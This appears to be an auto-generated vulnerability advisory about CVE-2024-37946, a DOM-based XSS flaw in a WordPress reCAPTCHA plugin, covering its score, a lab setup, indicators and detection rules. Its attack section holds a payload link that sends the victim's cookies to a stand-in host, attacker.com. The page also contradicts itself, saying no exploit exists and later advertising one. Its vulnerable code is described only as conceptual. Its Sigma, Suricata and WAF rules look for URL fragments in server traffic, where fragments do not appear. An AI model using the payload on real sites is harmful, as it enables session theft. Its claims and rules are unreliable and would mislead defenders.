CVE-2024-37946
Executive Summary
CVE-2024-37946 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the weDevs ReCaptcha Integration for WordPress plugin (versions <= 1.2.7). This flaw allows an attacker to inject malicious scripts into the DOM of a victim's browser by manipulating client-side input that is improperly sanitized. Since this is a WordPress plugin, the attack surface is limited to sites running the vulnerable plugin, but the impact can include session hijacking, credential theft, and defacement. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify they are not running version 1.2.7 or earlier. Since no patch exists, the only mitigation is to disable or remove the plugin.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 5.9 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – The victim must click a crafted link or visit a malicious page.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: Low (A:L) – Limited disruption.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the widespread use of WordPress plugins make this a persistent threat.
Deep Dive & Mechanics
The vulnerability resides in the wp-recaptcha-integration plugin's JavaScript handling of user-supplied input. The plugin fails to properly sanitize data that is reflected into the DOM, allowing an attacker to inject arbitrary HTML and JavaScript. Specifically, the plugin processes URL fragments or query parameters without encoding, leading to DOM-based XSS.
Root Cause: The plugin uses document.location.hash or similar DOM properties to read input and then injects it into the page via innerHTML or document.write without sanitization.
Attack Vector: An attacker crafts a malicious URL containing a payload in the fragment identifier (e.g., #<script>alert(1)</script>). When a victim visits this URL, the plugin's JavaScript reads the fragment and writes it into the DOM, executing the script.
Impact: Successful exploitation allows the attacker to:
- Steal session cookies.
- Perform actions on behalf of the victim.
- Redirect to phishing pages.
- Deface the site.
Vulnerable vs. Patched Code
Since no patch exists, we can only describe the vulnerable pattern.
Vulnerable Code (Conceptual):
// Vulnerable: reads hash and injects directly
var hash = window.location.hash.substring(1);
document.getElementById('recaptcha-response').innerHTML = hash;
Patched Code (Hypothetical):
// Patched: sanitize input before DOM injection
var hash = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('recaptcha-response').innerHTML = sanitized;
The fix would involve using a sanitization library like DOMPurify or encoding the input before insertion.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install WordPress with the vulnerable plugin (version 1.2.7).
- Create a page that uses the reCAPTCHA integration.
- Craft a malicious URL:
http://target-site.com/some-page/#<img src=x onerror=alert(document.cookie)> - Send the link to a victim (simulated via browser).
Exploit Code (Conceptual):
<!-- No public exploit code available. Below is a generic DOM XSS payload. -->
<a href="http://target-site.com/some-page/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">Click me</a>
Execution: When the victim clicks the link, the script executes and exfiltrates cookies.
Blue Team (Defensive)
Detection:
- Monitor web logs for URLs containing suspicious fragment identifiers (e.g.,
<script,onerror,onload). - Use WAF rules to block requests with XSS patterns in the URL fragment.
Mitigation:
- Disable or remove the plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to restrict inline scripts.
- Use browser extensions that block XSS.
Indicators of Compromise (IOCs)
- Network IOCs:
- URLs containing
#<scriptor#<imgin the fragment. - Outbound connections to unknown domains from the victim's browser.
- URLs containing
- File IOCs:
- Presence of the plugin directory
/wp-content/plugins/wp-recaptcha-integration/with version 1.2.7.
- Presence of the plugin directory
- Behavioral IOCs:
- Unexpected JavaScript execution in the context of the WordPress site.
- Unauthorized cookie access or session hijacking.
Detection Engineering
YARA Rule
rule CVE_2024_37946_DOM_XSS {
meta:
description = "Detects vulnerable wp-recaptcha-integration plugin files"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-37946"
strings:
$vuln_func = /\.innerHTML\s*=\s*window\.location\.hash/
$vuln_file = "wp-recaptcha-integration"
condition:
$vuln_file and $vuln_func
}
Sigma Rule
title: CVE-2024-37946 DOM XSS Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential DOM XSS exploitation attempts against wp-recaptcha-integration
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- '#<script'
- '#<img'
- '#<svg'
- '#onerror'
- '#onload'
condition: selection
falsepositives:
- Legitimate use of hash fragments (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-37946 DOM XSS Attempt"; flow:to_server,established; content:"#<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-37946 DOM XSS via img"; flow:to_server,established; content:"#<img"; http_uri; nocase; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Remove or deactivate
wp-recaptcha-integrationuntil a patch is released. - Implement CSP – Add a Content Security Policy header to block inline scripts:
Content-Security-Policy: script-src 'self'; object-src 'none'; - Monitor logs – Check for suspicious URL fragments in access logs.
Long-term Fix:
- The vendor must release a patched version that sanitizes DOM input. Users should update to the latest version once available.
- Consider using an alternative reCAPTCHA plugin that is actively maintained.
Workarounds:
- Use a Web Application Firewall (WAF) to block XSS payloads in URL fragments.
- Educate users not to click on suspicious links.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.